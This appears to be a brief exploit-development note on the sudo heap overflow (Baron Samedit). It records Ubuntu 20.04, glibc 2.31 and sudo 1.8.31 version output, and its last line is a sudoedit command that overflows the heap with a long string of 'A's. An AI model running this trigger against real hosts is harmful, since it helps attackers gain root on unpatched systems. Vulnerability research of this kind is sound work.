nss_load_library ver
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04 LTS
Release: 20.04
Codename: focal
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31.
Sudo 版本 1.8.31
Sudoers 策略插件版本 1.8.31
Sudoers 文件语法版本 46
Sudoers I/O plugin version 1.8.31
sudoedit -s '\' `perl -e 'print "A" x 65536'`